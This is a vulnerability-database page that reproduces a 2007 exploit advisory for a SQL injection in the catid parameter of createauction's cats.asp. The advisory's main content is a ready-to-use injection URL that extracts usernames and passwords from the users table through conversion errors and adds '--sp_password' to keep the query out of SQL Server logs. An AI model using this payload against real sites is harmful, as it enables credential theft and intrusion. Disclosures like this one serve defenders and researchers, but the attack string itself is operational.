Lucene search

createauction-sql.txt

🗓️ 13 Jan 2007 00:00:00Reported by IbnuSinaType

packetstorm🔗 packetstormsecurity.com👁 19 Views

createauction Remote SQL Injection Vulnerability on cats.as

AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

`createauction (catid) Remote SQL Injection Vulnerability  
============================ HItamputih Crew ====================  
# hitamputih Advisory  
# Discovered By : IbnuSina  
#-----------------------------------------------------------  
# Software: createauction  
# Vendor : http://www.createauction.com/  
# Method: SQL Injection  
# Thanks To : akukasih,nyubi,irvian and all #hitamputih crew  
#   
  
[[SQL]]]---------------------------------------------------------  
http://[target]/[path]/cats.asp?catid=[SQL]  
  
ex:  
  
http://[target]/[path]/cats.asp?catid=1%20%20and%201=convert(int,(select%20top%201%20username%2b'/'%2bpassword%20from%20users))--sp_password  
  
#########################################################################################  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo

13 Jan 2007 00:00Current

7.4High risk

Vulners AI Score7.4